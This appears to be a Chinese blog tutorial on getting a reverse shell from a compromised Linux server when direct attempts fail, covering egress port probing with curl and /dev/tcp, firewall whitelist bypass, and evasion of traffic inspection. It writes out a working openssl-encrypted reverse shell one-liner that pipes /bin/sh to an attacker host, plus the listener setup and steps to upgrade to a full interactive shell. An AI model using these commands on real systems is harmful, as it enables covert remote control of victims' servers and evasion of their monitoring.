反弹shell受限情况下的倔强

0x00前言

有时候获取到目标webshell但是想要进一步反弹获取全交互式shell,来对目标服务器进行命令操作,然而经常遇到直接反弹shell不成;

此文将针对linux反弹shell受阻的原因、排查顺序流程,以及可突破的限制,到最后获取全交互式shell的整个流程来梳理。

假如使用bash反弹不成功:

0x01原因一:命令不存在

我们先来看哪些反弹命令是可用的,哪些命令存在:

whereis nc bash python php exec perl ruby java telnet lua

 

 

 可以发现bash命令是可用的,只有ruby和lua相关命令不可用;

如果这里bash不可用,那么换种可用的命令反弹即可。然而bash可用不成功,那么继续分析。

0x02原因二:是否通外网

直接用ping命令探测即可,配合dnslog或者直接看回显情况:

申请个随机域名:

 

目标使用ping命令:

 

ping -c 1 v8nwzi.dnslog.cn

 

 

 

 

 

 这样表示通外网,允许出口流量;但是反弹还是受阻,继续分析。

0x03原因三:目标出站端口受限

目标服务器网络边缘部署了防火墙,设置了出站规则,给出站的端口设置了白名单。

这里只要端口属于白名单内的即可,一般的话,DNS 的 53、HTTP 服务的默认端口 80、HTTPS 的 443 是三个最常见的出站端口,一般最有可能在白名单内,可一一尝试。

当然如果白名单设置得很死,都不是常用端口的话,我们就得使用目标系统自带的curl、telnet、wget等命令来进行出站端口探测。

例如 curl www.baidu.com:80

 

 

 有正确回显代表可通80,没有或者等待超时代表不通80端口。当然这得用自己的vps来捆绑开放大量端口来方便检测。

例如vps开放1234端口,目标服务器使用端口探测探测此端口失败,那么表示不出1234端口,如果探测成功,表示可出1234端口,即可用1234端口来进行反弹shell。

当然真实情况可能遇到目标权限低,且curl、telnet、wget等这几个可探测端口的命令都没有,那么可以使用如下命令来探测:

echo > /dev/tcp/www.baidu.com/80

如果瞬间执行完成代表可出80,如果执行后一直等待,那么代表不出80.

这里测试了一下,我的目标机用443 bash反弹成功,但是连接一会儿执行命令马上就断了,应该就是流量审查的原因了,继续分析。

0x04原因四:目标存在流量审查机制

有些服务器存在流量审查机制,就算反弹成功了,马上就会掉线;一般审查到的都是明文流量数据,那么只要将反弹流量用openssl加密,即可防止流量检测。

1、在vps上生成ssl证书的公钥/私钥对:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

 

 到了选择直接全部回车。

2、vps使用openssl监听一个接收shell的端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

3、目标上用openssl加密反弹shell的流量:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xx.xx.xx:443 > /tmp/s; rm /tmp/s

vps的ip为:47.xx.xx.xx

此时vps即可接收到加密的半交互式shell(哑shell)

0x05转换为全交互式shell

哑shell,ctrl-c 中断 getshell 会话、无法查看语法高亮、无法执行交互式命令、无法查看错误输出、无法使用 tab 命令补全、无法操控 job、无法查看命令历史。

转为全交互式shell:

1、在哑shell中执行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

2、键入 Ctrl-Z,回到 VPS 的命令行中;在 VPS 中执行:

$ stty raw -echo
$ fg (不会显示,敲了直接一直回车)

此时已经为交互式shell了,但是有的shell显示有问题,如果没问题可不进行以下步骤。

3、回到哑 shell 中,在哑 shell 中键入 Ctrl-L,执行:

$ reset (敲命令不显示就直接敲了回车)
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104

这样就得到了功能齐全的交互式shell 了。

参考链接:

https://www.freebuf.com/vuls/211847.html

posted @ 2020-08-02 16:27  ctrl_TT豆  阅读(3534)  评论(1编辑  收藏  举报